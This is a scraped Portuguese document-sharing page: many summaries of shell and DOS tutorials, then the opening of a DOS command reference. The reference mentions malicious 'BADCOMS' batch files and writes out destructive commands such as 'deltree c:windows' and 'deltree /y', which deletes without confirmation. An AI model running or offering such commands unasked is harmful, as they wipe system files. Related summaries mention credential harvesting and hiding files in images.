O documento fornece uma lista extensa de comandos do DOS e suas funcionalidades, incluindo ECHO, DEL, FORMAT, FOR, IF, SET, GOTO, CHOICE e ERRORLEVELS. Explica como esses comandos podem ser usados para criar arquivos batch e realizar tarefas automatizadas no prompt de comando do DOS.
O documento fornece instruções sobre como executar programas e manipular arquivos no sistema operacional Linux de modo de texto. Inclui explicações sobre como iniciar processos em primeiro e segundo plano, visualizar processos em execução, matar processos, mover processos entre primeiro e segundo plano e manipular arquivos com comandos como cat, cp e rm.
Blocos de código e laços (ou loops, como preferem alguns) são o tema do mês em mais uma lição de nosso curso de Shell Script. Garçom, salta uma boa redondinha, que tô a fim de refrescar o pensamento!
O documento fornece instruções para criar um shell script em 5 passos: 1) escolher um nome, 2) definir o diretório, 3) criar o arquivo e adicionar comandos, 4) definir o shell na primeira linha, 5) tornar o script executável. Ele também discute melhorar a saída, interagir com o usuário, usar variáveis e expressões aritméticas.
O documento descreve um curso de Shell Script e discute blocos de código, laços (loops) e o comando for do Shell. O texto explica como funcionam blocos de código, laços e for através de exemplos de scripts, discutindo também variáveis e operadores importantes como IFS.
O documento fornece uma introdução sobre Shell Script, descrevendo os principais tipos de shell, a anatomia de uma linha de comando, atribuição de variáveis, comandos, redirecionamentos e controle de fluxo com if/else e loops.
O documento apresenta um curso gratuito de Shell Script do básico ao intermediário ministrado por Wanderlei Silva do Carmo. A agenda inclui tópicos como histórico do Shell, variáveis, estruturas condicionais e de repetição, operadores aritméticos e redirecionamento de entrada e saída. O curso visa compartilhar conhecimento sobre a linguagem Shell Script e seu amplo uso em ambientes Unix.
O documento apresenta uma introdução à shell script, descrevendo a filosofia dos sistemas Unix, o que é shell e bash, estruturas de controle e utilitários úteis como awk, sed e grep. O palestrante também discute como criar e executar scripts shell.
O documento fornece instruções sobre como executar programas e manipular arquivos no sistema operacional Linux de modo de texto. Inclui explicações sobre como iniciar processos em primeiro e segundo plano, visualizar processos em execução, matar processos, mover processos entre primeiro e segundo plano e manipular arquivos com comandos como cat, cp e rm.
Blocos de código e laços (ou loops, como preferem alguns) são o tema do mês em mais uma lição de nosso curso de Shell Script. Garçom, salta uma boa redondinha, que tô a fim de refrescar o pensamento!
O documento fornece instruções para criar um shell script em 5 passos: 1) escolher um nome, 2) definir o diretório, 3) criar o arquivo e adicionar comandos, 4) definir o shell na primeira linha, 5) tornar o script executável. Ele também discute melhorar a saída, interagir com o usuário, usar variáveis e expressões aritméticas.
O documento descreve um curso de Shell Script e discute blocos de código, laços (loops) e o comando for do Shell. O texto explica como funcionam blocos de código, laços e for através de exemplos de scripts, discutindo também variáveis e operadores importantes como IFS.
O documento fornece uma introdução sobre Shell Script, descrevendo os principais tipos de shell, a anatomia de uma linha de comando, atribuição de variáveis, comandos, redirecionamentos e controle de fluxo com if/else e loops.
O documento apresenta um curso gratuito de Shell Script do básico ao intermediário ministrado por Wanderlei Silva do Carmo. A agenda inclui tópicos como histórico do Shell, variáveis, estruturas condicionais e de repetição, operadores aritméticos e redirecionamento de entrada e saída. O curso visa compartilhar conhecimento sobre a linguagem Shell Script e seu amplo uso em ambientes Unix.
O documento apresenta uma introdução à shell script, descrevendo a filosofia dos sistemas Unix, o que é shell e bash, estruturas de controle e utilitários úteis como awk, sed e grep. O palestrante também discute como criar e executar scripts shell.
O documento resume os principais pontos sobre wildcards, variáveis de ambiente e comandos em shell script. Em 3 frases:
Wildcards como * e ? permitem especificar múltiplos arquivos de uma vez para listar, copiar ou apagar. Variáveis de ambiente como $USER e $HOME são definidas pelo sistema operacional e podem ser acessadas em scripts. Comandos como if, for e case permitem estruturar o fluxo de execução em scripts shell.
O documento fornece instruções para criar e melhorar um shell script em Bash. Ele explica como nomear e salvar o script, adicionar comandos, torná-lo executável e melhorar a saída de dados. Também discute como usar variáveis, expressões aritméticas, comandos condicionais como if/else e loops como for e while.
O documento explica como criar e utilizar scripts shell no Linux para automatizar tarefas repetitivas. Ele aborda os principais conceitos como: criação e edição de arquivos de script, atribuição de permissões de execução, uso de variáveis, comandos condicionais como if/else, laços de repetição como for/while, captura de entrada do usuário e criação de funções.
O documento fornece uma introdução ao ambiente de desenvolvimento Dev-C++, ensinando como criar, compilar e executar programas simples em C. É apresentado um exemplo "Hello World" e um programa que lê números e conta quantos são pares e ímpares. O objetivo é ajudar os alunos a terem seu primeiro contato com o Dev-C++ e programação em C.
O documento introduz os conceitos básicos de shell script, incluindo como escrever scripts, variáveis, aritmética, comandos, caracteres especiais, arquivos, conectando comandos, filtros, tomada de decisão e laços. Ele também explica o que é o shell do Linux, o que é shell script e por que usá-lo, e fornece um exemplo simples de construção de uma aplicação shell script.
O shell é o prompt da linha de comando do Unix e do Linux, que recebe e executa comandos digitados pelo usuário. Na linha de comando, podemos utilizar diversos comandos um após o outro. Se colocarmos diversas linhas de comandos em um arquivo texto, teremos um script em shell ou, um Shell Script. Além de comandos, um Shell Script pode conter todas as estruturas de uma linguagem de programação, como if, for, while, variáveis e funções.
Nesse minicurso veremos como automatizar tarefas usando Shell Script e conheceremos um pouco mais sobre alguns dos comandos mais úteis para serem utilizados tanto nos scripts quanto diretamente pela linha de comando.
Você não aguenta mais aquele seu amigo usuário de Linux enchendo o seu saco com aquela história de que o sistema é fantástico e o Shell é uma ferramenta maravilhosa? A partir desta edição vai ficar mais fácil entender o porquê deste entusiasmo...
Este documento fornece diretrizes para criar scripts de shell avançados, incluindo comentários úteis, variáveis de ambiente, funções, loops e caixas de diálogo. O autor discute técnicas como portabilidade entre sistemas, formatação de código legível e recursividade.
O documento descreve comandos .bat que podem ser usados para executar ações no computador, como desligá-lo ou apagar arquivos. Ele lista comandos básicos como @echo off, cls, echo, md e del, e explica como usar o GOTO para repetir comandos. Também mostra como usar CHOICE e IF ERRORLEVEL para dar opções de desligar ou reiniciar o computador.
1) O documento discute comandos do shell Bash, incluindo funções, parâmetros, variáveis e controle de fluxo.
2) São apresentados exemplos e 14 práticas para exercitar o uso de funções, variáveis, arrays, operadores e laços no Bash.
3) As práticas incluem criar funções, usar variáveis internas e externas, lidar com arrays, fazer operações matemáticas e controlar fluxos usando if/else e laços for.
Este documento fornece instruções para um treinamento prático de comandos básicos do Unix/Linux, ensinando o usuário a executar comandos no terminal e observar os resultados para compreender seu funcionamento. O treinamento também aborda comandos para obter informações sobre o sistema e realizar operações básicas de arquivos e diretórios.
Este documento apresenta uma palestra sobre Shell Script e programação em Linux. A palestra é dividida em três partes principais: introdução ao Linux, comandos básicos de shell e programação em shell script, e interfaces gráficas para shell scripts. O documento fornece detalhes sobre os tópicos apresentados na palestra, incluindo exemplos de comandos shell, estruturas de programação e ferramentas gráficas.
Talk que aborda alguns pontos da programação como SOLID, STUPID, clean code, object calisthenics, composer e algumas dicas pessoais.
Feita para o flisol 2017.
O documento discute shell scripts no Linux. Ele apresenta uma introdução aos shells e scripts, como criar e executar scripts simples, usar variáveis e comandos dentro de scripts, e estruturas de controle como if/else e loops. O documento também fornece exemplos passo a passo e exercícios para praticar shell scripting.
O documento descreve um minicurso sobre desenvolvimento de aplicações em Shell Script com interface gráfica interativa utilizando a ferramenta Dialog. O minicurso aborda conceitos básicos de Shell Script e Dialog, além de apresentar exemplos práticos de uso da Dialog para construção de interfaces gráficas em Shell Script.
Este documento fornece instruções para um treinamento prático de comandos básicos do Unix/Linux. Ele ensina como usar o terminal para executar comandos como cd, ls, cat e grep, entre outros, e como obter ajuda sobre os comandos. Também mostra como realizar as mesmas tarefas na interface gráfica do Ubuntu.
Este documento fornece instruções sobre como manipular cadeias de caracteres usando comandos do shell script no Linux. Ele explica como usar cut para extrair partes de arquivos, tr para substituir caracteres e grep para procurar padrões em arquivos. O autor também discute como resolver problemas com arquivos de texto contendo caracteres indesejáveis e como formatar a saída de comandos como date.
O documento discute o uso do comando tput para formatar texto na tela e ler dados do usuário. Três principais funções do tput são apresentadas: posicionar o cursor, alterar atributos de texto (negrito, sublinhado etc) e obter informações sobre a tela (número de linhas e colunas). Um exemplo mostra como centralizar texto na tela usando tput. Leitura de dados pode ser feita com read e opcionais como -p (prompt), -n (número máximo de caracteres) e -t (tempo limite) são explicados.
1) O documento apresenta exemplos de uso do comando printf para formatar saída de dados no terminal, mostrando opções de formatação como inteiros, pontos flutuantes, cadeias de caracteres e conversão para outras bases numéricas.
2) São explicadas as especificações de formato usadas com o caractere %, como %d para inteiros, %f para pontos flutuantes e %s para cadeias.
3) O documento também explica o uso de seqüências de escape e mostra como formatar a saída controlando alinhamento e quantidade de caracteres
O documento fornece vários truques e dicas para o uso de comandos de linha de comando como grep, sed, find e shell script. Ele explica como navegar e editar arquivos de forma eficiente, monitorar processos, pesquisar arquivos e manipular streams de dados entre comandos.
O documento resume os principais pontos sobre wildcards, variáveis de ambiente e comandos em shell script. Em 3 frases:
Wildcards como * e ? permitem especificar múltiplos arquivos de uma vez para listar, copiar ou apagar. Variáveis de ambiente como $USER e $HOME são definidas pelo sistema operacional e podem ser acessadas em scripts. Comandos como if, for e case permitem estruturar o fluxo de execução em scripts shell.
O documento fornece instruções para criar e melhorar um shell script em Bash. Ele explica como nomear e salvar o script, adicionar comandos, torná-lo executável e melhorar a saída de dados. Também discute como usar variáveis, expressões aritméticas, comandos condicionais como if/else e loops como for e while.
O documento explica como criar e utilizar scripts shell no Linux para automatizar tarefas repetitivas. Ele aborda os principais conceitos como: criação e edição de arquivos de script, atribuição de permissões de execução, uso de variáveis, comandos condicionais como if/else, laços de repetição como for/while, captura de entrada do usuário e criação de funções.
O documento fornece uma introdução ao ambiente de desenvolvimento Dev-C++, ensinando como criar, compilar e executar programas simples em C. É apresentado um exemplo "Hello World" e um programa que lê números e conta quantos são pares e ímpares. O objetivo é ajudar os alunos a terem seu primeiro contato com o Dev-C++ e programação em C.
O documento introduz os conceitos básicos de shell script, incluindo como escrever scripts, variáveis, aritmética, comandos, caracteres especiais, arquivos, conectando comandos, filtros, tomada de decisão e laços. Ele também explica o que é o shell do Linux, o que é shell script e por que usá-lo, e fornece um exemplo simples de construção de uma aplicação shell script.
O shell é o prompt da linha de comando do Unix e do Linux, que recebe e executa comandos digitados pelo usuário. Na linha de comando, podemos utilizar diversos comandos um após o outro. Se colocarmos diversas linhas de comandos em um arquivo texto, teremos um script em shell ou, um Shell Script. Além de comandos, um Shell Script pode conter todas as estruturas de uma linguagem de programação, como if, for, while, variáveis e funções.
Nesse minicurso veremos como automatizar tarefas usando Shell Script e conheceremos um pouco mais sobre alguns dos comandos mais úteis para serem utilizados tanto nos scripts quanto diretamente pela linha de comando.
Você não aguenta mais aquele seu amigo usuário de Linux enchendo o seu saco com aquela história de que o sistema é fantástico e o Shell é uma ferramenta maravilhosa? A partir desta edição vai ficar mais fácil entender o porquê deste entusiasmo...
Este documento fornece diretrizes para criar scripts de shell avançados, incluindo comentários úteis, variáveis de ambiente, funções, loops e caixas de diálogo. O autor discute técnicas como portabilidade entre sistemas, formatação de código legível e recursividade.
O documento descreve comandos .bat que podem ser usados para executar ações no computador, como desligá-lo ou apagar arquivos. Ele lista comandos básicos como @echo off, cls, echo, md e del, e explica como usar o GOTO para repetir comandos. Também mostra como usar CHOICE e IF ERRORLEVEL para dar opções de desligar ou reiniciar o computador.
1) O documento discute comandos do shell Bash, incluindo funções, parâmetros, variáveis e controle de fluxo.
2) São apresentados exemplos e 14 práticas para exercitar o uso de funções, variáveis, arrays, operadores e laços no Bash.
3) As práticas incluem criar funções, usar variáveis internas e externas, lidar com arrays, fazer operações matemáticas e controlar fluxos usando if/else e laços for.
Este documento fornece instruções para um treinamento prático de comandos básicos do Unix/Linux, ensinando o usuário a executar comandos no terminal e observar os resultados para compreender seu funcionamento. O treinamento também aborda comandos para obter informações sobre o sistema e realizar operações básicas de arquivos e diretórios.
Este documento apresenta uma palestra sobre Shell Script e programação em Linux. A palestra é dividida em três partes principais: introdução ao Linux, comandos básicos de shell e programação em shell script, e interfaces gráficas para shell scripts. O documento fornece detalhes sobre os tópicos apresentados na palestra, incluindo exemplos de comandos shell, estruturas de programação e ferramentas gráficas.
Talk que aborda alguns pontos da programação como SOLID, STUPID, clean code, object calisthenics, composer e algumas dicas pessoais.
Feita para o flisol 2017.
O documento discute shell scripts no Linux. Ele apresenta uma introdução aos shells e scripts, como criar e executar scripts simples, usar variáveis e comandos dentro de scripts, e estruturas de controle como if/else e loops. O documento também fornece exemplos passo a passo e exercícios para praticar shell scripting.
O documento descreve um minicurso sobre desenvolvimento de aplicações em Shell Script com interface gráfica interativa utilizando a ferramenta Dialog. O minicurso aborda conceitos básicos de Shell Script e Dialog, além de apresentar exemplos práticos de uso da Dialog para construção de interfaces gráficas em Shell Script.
Este documento fornece instruções para um treinamento prático de comandos básicos do Unix/Linux. Ele ensina como usar o terminal para executar comandos como cd, ls, cat e grep, entre outros, e como obter ajuda sobre os comandos. Também mostra como realizar as mesmas tarefas na interface gráfica do Ubuntu.
Este documento fornece instruções sobre como manipular cadeias de caracteres usando comandos do shell script no Linux. Ele explica como usar cut para extrair partes de arquivos, tr para substituir caracteres e grep para procurar padrões em arquivos. O autor também discute como resolver problemas com arquivos de texto contendo caracteres indesejáveis e como formatar a saída de comandos como date.
O documento discute o uso do comando tput para formatar texto na tela e ler dados do usuário. Três principais funções do tput são apresentadas: posicionar o cursor, alterar atributos de texto (negrito, sublinhado etc) e obter informações sobre a tela (número de linhas e colunas). Um exemplo mostra como centralizar texto na tela usando tput. Leitura de dados pode ser feita com read e opcionais como -p (prompt), -n (número máximo de caracteres) e -t (tempo limite) são explicados.
1) O documento apresenta exemplos de uso do comando printf para formatar saída de dados no terminal, mostrando opções de formatação como inteiros, pontos flutuantes, cadeias de caracteres e conversão para outras bases numéricas.
2) São explicadas as especificações de formato usadas com o caractere %, como %d para inteiros, %f para pontos flutuantes e %s para cadeias.
3) O documento também explica o uso de seqüências de escape e mostra como formatar a saída controlando alinhamento e quantidade de caracteres
O documento fornece vários truques e dicas para o uso de comandos de linha de comando como grep, sed, find e shell script. Ele explica como navegar e editar arquivos de forma eficiente, monitorar processos, pesquisar arquivos e manipular streams de dados entre comandos.
El documento describe las actividades realizadas en el Colegio Rural Agrupado de Zarza de Granadilla para celebrar el Día de la Paz y la No Violencia el 30 de enero de 2013. Los niños pintaron medallas con palomas que luego se usaron para formar una vidriera con la palabra "paz" que ahora decora la entrada del colegio.
O documento discute métodos para resolver equações algébricas, incluindo fatorar expressões e aplicar operações como adição, subtração, multiplicação e divisão em ambos os lados da equação para transformá-la em uma forma equivalente com soluções iguais. Ao elevar ambos os lados ao quadrado, novas soluções podem surgir, então é necessário verificar quais soluções originais são mantidas.
Portaria interministerial número 1369 de 08 de julho de 2013Juliane Soska
Este documento estabelece as diretrizes para implementação do Projeto Mais Médicos para o Brasil, que tem como objetivo aperfeiçoar médicos na atenção básica em saúde em regiões prioritárias do SUS. O projeto será executado por meio de cooperação entre o Ministério da Saúde, estados, municípios e instituições de ensino. Cria uma coordenação interministerial para gestão do projeto e define as responsabilidades dos diferentes entes federados na sua execução.
El documento proporciona información sobre una estudiante llamada Patricia Sosa que cursa la materia Teoría de la Forma en el Instituto Universitario Politécnico Santiago Mariño en la Extensión de Barinas, Venezuela.
La música Aquarela es un género musical brasileño que se originó en la década de 1960. Se caracteriza por un estilo suave y melódico inspirado en paisajes acuáticos como ríos, lagos y mares. Generalmente se interpreta con instrumentos como la guitarra y el acordeón para crear una atmósfera relajante y soñadora.
Prueba de color acorde a normativa iso 12647Yiined Triiana
La prueba de color se realizó según la Normativa ISO 12647-7 para evaluar el color de las impresiones. Se comprobó que los colores impresos coincidían con los estándares establecidos y que la calidad cromática era satisfactoria.
This short message contains a random string of characters and greetings. It wishes someone named Chanel a greeting but provides no other context or meaningful information in the 3 words of text.
Este documento presenta el proyecto final de la maestría en Gestión de Tecnología Educativa de Deice Chamorro García para la Universidad de Santander. El proyecto se centra en la gerencia de proyectos de tecnología educativa y fue presentado en junio de 2013 bajo la tutoría de Giovanny López.
La osteoporosis es una enfermedad caracterizada por la reducción de la masa ósea y el adelgazamiento de las trabéculas óseas, lo que provoca fracturas frecuentes en las vértebras, cadera y antebrazo. La osteoporosis significa literalmente "hueso poroso" y se produce por una disminución progresiva de la masa ósea, haciendo que los huesos se vuelvan más frágiles. El calcio, el fósforo y hormonas como la paratiroidea, el crecimiento, la
[Silva; Enumo, 2014] Rev. Cortisol pelo fio de cabeloSônia Enumo
A avaliação psicológica do estresse tem mudado segundo os avanços tecnológicos, incluindo, além dos inventários, métodos
psicofisiológicos, com medidas mais precisas, como a concentração do cortisol. Técnicas mais invasivas, como a avaliação do sangue,
da saliva e da urina, estão sendo substituídas pela análise capilar. Esta pesquisa fez uma revisão sistemática dos últimos dez anos, com
19 estudos que utilizaram cortisol capilar como indicativo de estresse crônico, destacando o tipo de população e de metodologia da
análise bioquímica. Conclui-se que o cortisol medido pelo fio de cabelo pode ser um biomarcador de estresse crônico, já que avalia o
estresse retrospectivo, além de não necessitar de medidas repetidas para isso, reduzindo os gastos com reagentes bioquímicos. É uma
medida potencialmente útil em contexto clínico e esportivo.
O documento fornece um tutorial sobre programação em Batch, incluindo:
1) Uma introdução sobre o que são arquivos Batch e como criá-los;
2) Uma lista de comandos comuns utilizados em Batch como ECHO, SET, IF, FOR, COPY e DEL;
3) Exemplos de como utilizar condicionais, variáveis e laços de repetição em scripts Batch.
O documento fornece instruções sobre comandos básicos do MS-DOS, incluindo como acessar o DOS, data e hora, diretórios, arquivos e formatar discos. É dividido em seções sobre prompt, acesso ao DOS, comandos e suas funções.
O documento fornece instruções sobre comandos básicos do MS-DOS, incluindo como acessar o DOS, data e hora, diretórios, arquivos e formatar discos. É dividido em seções sobre prompt, acesso ao DOS, comandos e suas funções.
1) O documento descreve vários comandos do MS-DOS, incluindo comandos básicos como DATE, TIME e DIR, e comandos avançados para rede como IPCONFIG, PING e TELNET.
2) Detalha sintaxes e exemplos de uso para cada comando.
3) Também fornece informações sobre como alterar cores e criar arquivos em lotes (.BAT) para automatizar tarefas no MS-DOS.
O documento fornece instruções sobre como usar vários comandos no prompt de comando do Windows, incluindo como copiar, mover e deletar arquivos, criar e remover pastas, alterar configurações do sistema e usar atalhos de teclado. Também lista diversos outros comandos do CMD e suas funções.
1) O documento lista diversos comandos do MS-DOS para manipulação de arquivos, pastas e sistemas de arquivos.
2) Inclui também comandos para manipulação de variáveis, laços de repetição e condições em scripts do Batch.
3) Fornece exemplos de uso dos principais comandos como DIR, COPY, DEL, CD, IF, FOR entre outros.
O documento descreve o sistema operacional DOS, fornecendo instruções sobre seus principais comandos como DATE, TIME, DIR entre outros. Explica como acessar o DOS e executar comandos para gerenciar arquivos e diretórios.
O documento descreve os principais comandos do sistema operacional MS-DOS, incluindo como acessá-lo, navegar entre diretórios, gerenciar arquivos e pastas, e formatar discos. Os comandos mais detalhados incluem DIR, CD, COPY, XCOPY, DEL, FORMAT e CHKDSK.
O documento discute os comandos "for", "while" e "until" em Shell Script. Dois amigos conversam sobre como usar "for" para contar palavras em um arquivo e o primeiro amigo explica como fez um script para fazer isso. Em seguida, eles discutem quando usar "while" e "until", explicando que "while" executa um bloco de código enquanto uma condição for verdadeira, ao passo que "until" executa o bloco até que a condição seja verdadeira.
O documento discute blocos de código e laços (loops) no Shell Script. Explica o comando "for", sua sintaxe e como ele executa comandos para cada valor em uma lista separada por espaços ou caracteres de IFS. Também mostra exemplos simples de uso do "for" para listar arquivos em um diretório e músicas de um artista.
O documento descreve o que é o MS-DOS, seu primeiro sistema operacional criado pela Microsoft para permitir aos usuários realizar tarefas básicas no computador. Explica que o MS-DOS funciona por linha de comando em inglês e ainda é usado para particionar discos e instalar sistemas.
1) O documento descreve os principais comandos do MS-DOS, incluindo comandos para alterar data e hora, listar arquivos, criar e remover pastas, copiar arquivos, formatar discos e recuperar arquivos apagados.
2) Os comandos básicos apresentados incluem DATE, TIME, DIR, MKDIR, COPY, FORMAT e DEL.
3) O documento fornece exemplos de como usar cada comando e parâmetros opcionais para personalizar suas funcionalidades.
O documento descreve o que é o MS-DOS, seu primeiro sistema operacional criado pela Microsoft para permitir aos usuários realizar tarefas básicas no computador. Explica que é um sistema operacional de linha de comando e lista alguns dos comandos mais usados como DIR, CD, MD, RD, DEL, COPY e FORMAT.
Este documento fornece uma referência de comandos básicos do Linux, incluindo comandos para navegação, arquivos, permissões e informações do sistema. Ele também lista ferramentas úteis como grep, sed, tar e man.
Shell script do zero aula 1 - basico do basico e primeiros comandosIvan Ribeiro
Este documento apresenta os principais comandos de shell script para automatizar tarefas no Linux, incluindo comandos básicos como echo, sleep e read, além de comandos para diretórios, usuários, rede, sistema e compactação de arquivos. O objetivo é ensinar os conceitos básicos de shell script para quem não tem experiência com programação ou shells.
O documento discute sistemas operacionais e fornece uma aula sobre o assunto. Ele inclui:
1) Uma introdução sobre o que são sistemas operacionais e seus tipos.
2) Informações sobre equipamentos que utilizam sistemas operacionais e sobre máquinas virtuais.
3) Detalhes sobre login, logoff e computação em nuvem.
4) Instruções sobre comandos do DOS e do Linux.
O documento discute sistemas operacionais e fornece uma aula sobre o assunto. Ele inclui:
1) Uma introdução sobre o que são sistemas operacionais e seus tipos.
2) Informações sobre equipamentos que utilizam sistemas operacionais e sobre máquinas virtuais.
3) Detalhes sobre login, logoff e computação em nuvem.
4) Instruções sobre comandos do DOS e do Linux.
O documento discute vários comandos e conceitos relacionados ao sistema operacional MS-DOS, incluindo comandos para gerenciar arquivos e diretórios, exibir informações do sistema, formatar discos, trabalhar com variáveis de ambiente e usar estruturas condicionais.
Este documento fornece uma referência sobre comandos básicos do Linux, incluindo comandos para navegação de arquivos e diretórios, visualização de informações do sistema, configuração de permissões e ferramentas de linha de comando. O documento lista vários comandos úteis e fornece exemplos de uso.
Este documento fornece uma introdução aos principais comandos e conceitos do sistema operacional Linux, incluindo: 1) comandos básicos para navegação e gerenciamento de arquivos e processos, 2) estrutura de diretórios padrão, 3) definições de termos importantes como compilação, foreground e background, e 4) controle de execução de processos.
Américo de sousa a persuasão - estratégias para uma comunicaçao influenteWagner Kinera
Este documento é um resumo de três partes de uma tese de mestrado sobre estratégias de comunicação persuasiva. A primeira parte discute a evolução histórica da retórica desde a Grécia Antiga, quando a oratória floresceu com a democracia e se tornou uma técnica importante. A segunda parte analisa a "Nova Retórica" e como ela critica a abordagem racionalista clássica. A terceira parte explora os usos da retórica e a linha tênue entre persuasão e manipulação.
This document contains a list of links to various Freenet sites in the form of Universal Site Keys (USKs). There are over 30 USKs listed spanning topics including images, forums, blogs and more.
Fabio puentes hipnose marketing das religioesWagner Kinera
A hipnose tem sido praticada por diversas religiões ao longo da história, sob diferentes nomes. Xamãs, sacerdotes egípcios e gregos já utilizavam técnicas semelhantes à hipnose moderna para curas. Na Índia, iogues desenvolveram métodos de auto-hipnose através da repetição de mantras. Muitas seitas e filosofias orientais se expandiram para o Ocidente, influenciando estilos de vida e comportamentos.
Este documento descreve como esconder arquivos compactados .rar dentro de imagens .jpg para enviar arquivos secretamente ou esconder conteúdo indesejado. O processo envolve usar o WinRAR para compactar arquivos, copiá-los para dentro de uma imagem usando um comando no Prompt de Comando, resultando em um único arquivo de imagem que pode ser aberto normalmente ou via WinRAR para revelar o arquivo escondido. O autor adverte para não usar esta técnica para espalhar vírus ou prejudicar outros.
Conhecendo a pena de crimes de informáticaWagner Kinera
Este documento discute os crimes relacionados à informática no Brasil. Apresenta a Lei no 7.646/87, que foi a primeira a definir condutas delituosas envolvendo programas de computador, e a Lei no 9.609/98, que trata de infrações e penalidades nessa área. Também menciona projetos de lei em tramitação sobre temas como inviolabilidade de dados e sigilo de comunicações.
Este documento discute conceitos fundamentais sobre hipnose. Aborda as origens da hipnose moderna com Franz Mesmer no século 18, e define hipnose como um estado de transe caracterizado por sugestibilidade e imaginação elevada, diferente do sono. Explora teorias sobre como a hipnose acessa a mente subconsciente diretamente, permitindo que o hipnotizador trabalhe com o subconsciente.
Backtrack 5 r3 hacking facebook users w credential harvesting & social engin...Wagner Kinera
This document contains the menu configuration for booting BackTrack 5 from a USB drive. It provides multiple boot options, including a persistent mode, a text mode, a stealth mode with networking disabled, a forensics mode with no drive or swap mounting, a mode without DRM drivers, a safe debug mode, a memory test, and an option to boot the hard drive. Each entry specifies the kernel and boot parameters to launch the corresponding BackTrack 5 configuration.
1) O documento discute a história e tipos de vírus de computador, explicando como eles se espalham e infectam sistemas.
2) Vários tipos de vírus são descritos, incluindo vírus de boot sector, stealth, polimórficos e companheiros.
3) A detecção e mutação de vírus é difícil devido a novas técnicas como auto-encriptação empregadas por vírus polimórficos.
As classes de modelagem podem ser comparadas a moldes ou
formas que definem as características e os comportamentos dos
objetos criados a partir delas. Vale traçar um paralelo com o projeto de
um automóvel. Os engenheiros definem as medidas, a quantidade de
portas, a potência do motor, a localização do estepe, dentre outras
descrições necessárias para a fabricação de um veículo
Em um mundo cada vez mais digital, a segurança da informação tornou-se essencial para proteger dados pessoais e empresariais contra ameaças cibernéticas. Nesta apresentação, abordaremos os principais conceitos e práticas de segurança digital, incluindo o reconhecimento de ameaças comuns, como malware e phishing, e a implementação de medidas de proteção e mitigação para vazamento de senhas.
PRODUÇÃO E CONSUMO DE ENERGIA DA PRÉ-HISTÓRIA À ERA CONTEMPORÂNEA E SUA EVOLU...Faga1939
Este artigo tem por objetivo apresentar como ocorreu a evolução do consumo e da produção de energia desde a pré-história até os tempos atuais, bem como propor o futuro da energia requerido para o mundo. Da pré-história até o século XVIII predominou o uso de fontes renováveis de energia como a madeira, o vento e a energia hidráulica. Do século XVIII até a era contemporânea, os combustíveis fósseis predominaram com o carvão e o petróleo, mas seu uso chegará ao fim provavelmente a partir do século XXI para evitar a mudança climática catastrófica global resultante de sua utilização ao emitir gases do efeito estufa responsáveis pelo aquecimento global. Com o fim da era dos combustíveis fósseis virá a era das fontes renováveis de energia quando prevalecerá a utilização da energia hidrelétrica, energia solar, energia eólica, energia das marés, energia das ondas, energia geotérmica, energia da biomassa e energia do hidrogênio. Não existem dúvidas de que as atividades humanas sobre a Terra provocam alterações no meio ambiente em que vivemos. Muitos destes impactos ambientais são provenientes da geração, manuseio e uso da energia com o uso de combustíveis fósseis. A principal razão para a existência desses impactos ambientais reside no fato de que o consumo mundial de energia primária proveniente de fontes não renováveis (petróleo, carvão, gás natural e nuclear) corresponde a aproximadamente 88% do total, cabendo apenas 12% às fontes renováveis. Independentemente das várias soluções que venham a ser adotadas para eliminar ou mitigar as causas do efeito estufa, a mais importante ação é, sem dúvidas, a adoção de medidas que contribuam para a eliminação ou redução do consumo de combustíveis fósseis na produção de energia, bem como para seu uso mais eficiente nos transportes, na indústria, na agropecuária e nas cidades (residências e comércio), haja vista que o uso e a produção de energia são responsáveis por 57% dos gases de estufa emitidos pela atividade humana. Neste sentido, é imprescindível a implantação de um sistema de energia sustentável no mundo. Em um sistema de energia sustentável, a matriz energética mundial só deveria contar com fontes de energia limpa e renováveis (hidroelétrica, solar, eólica, hidrogênio, geotérmica, das marés, das ondas e biomassa), não devendo contar, portanto, com o uso dos combustíveis fósseis (petróleo, carvão e gás natural).
Este certificado confirma que Gabriel de Mattos Faustino concluiu com sucesso um curso de 42 horas de Gestão Estratégica de TI - ITIL na Escola Virtual entre 19 de fevereiro de 2014 a 20 de fevereiro de 2014.
Escola Virtual - Fundação Bradesco - ITIL - Gabriel Faustino.pdf
Ms dos comandos
1. Comandos do DOS
Essa parte contém vários comandos que podem ser utilizados não só em
BADCOMS mas em batches inofensivos. Para maiores informações sobre os
comandos do DOS escreva HELP no prompt ou se quiser saber mais sobre um
determinado comando escreva o comando e adicione a opção /?.
Exemplos:
C: echo /?
C: format /?
C: for /?
Comandos do DOS
2.1) ECHO
2.2) DEL/ERASE
2.3) DELTREE
2.4) FORMAT
2.5) FOR
2.6) IF
2.7) SET/VARIÁVEIS NO DOS
2.8) GOTO
2.9) VER
2.10) VOL
2.11) CLS
2.12) ATTRIB
2.13) CALL
2.14) CHOICE E ERRORLEVELS
2.15) COPY
2.16) CTTY
2.17) DIR
2.18) TYPE
2.19) MORE
2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR
2.21) LABEL
2.22) FIND
2.23) PAUSE
2.24) REN/RENAME
2.25) SUBST
2.26) TIME
2.27) REM
2.28) DOSKEY
2.29) XCOPY
2.1) ECHO
Sintaxe: ECHO [string]
Exemplo: C> echo Fuck You
Fuck You
2. O comando ECHO, de forma geral, exibe uma string na tela. Caso
essa string seja OFF, desativar a exibi‡Æo dos comandos na
tela. Se for ON, ativar a mesma.
Exemplo de arquivo:
[echo1.bat]
echo on
echo ECHO est ativado
echo off
echo ECHO est desativado
Quando vocˆ rodar esse programa, ver o seguinte:
C> echo on
C> echo ECHO est ativado
ECHO est ativado
C> echo off
ECHO est desativado
Colocar uma @ antes do primeiro comando de cada linha, equivale
ao ECHO OFF, mas apenas nessa linha. Para que o programa fique
melhor, aconselha-se colocar o comando @ECHO OFF na PRIMEIRA linha
do programa, assim vocˆ nÆo precisa colocar uma @ antes de cada
linha.
2.2) DEL/ERASE
Sintaxe: DEL [nome_do_arquivo]
ERASE [nome_do_arquivo]
Exemplos: C> del autoexec.bat
C> erase autoexec.bat
Esse comando nÆo precisa de muita explica‡Æo. Apenas exclui o
arquivo especificado. WildCards podem ser usadas (* e ?).
2.3) DELTREE
Sintaxe: DELTREE (/Y) [nome_do_arquivo]
Exemplos: C> deltree c:windows
C> deltree /y c:games
Tamb‚m nÆo tem muito segredo. Exclui um diret¢rio e tudo que
tiver dentro dele. A op‡Æo /Y detona tudo sem pedir confirma‡Æo
mas deve ser usado logo ap¢s o comando DELTREE. Isso NÇO
funcionaria:
C> deltree c:windows /y
2.4) FORMAT
Sintaxe: FORMAT (/Q) (/U) (/V:label) [unidade_a_ser_detonada]
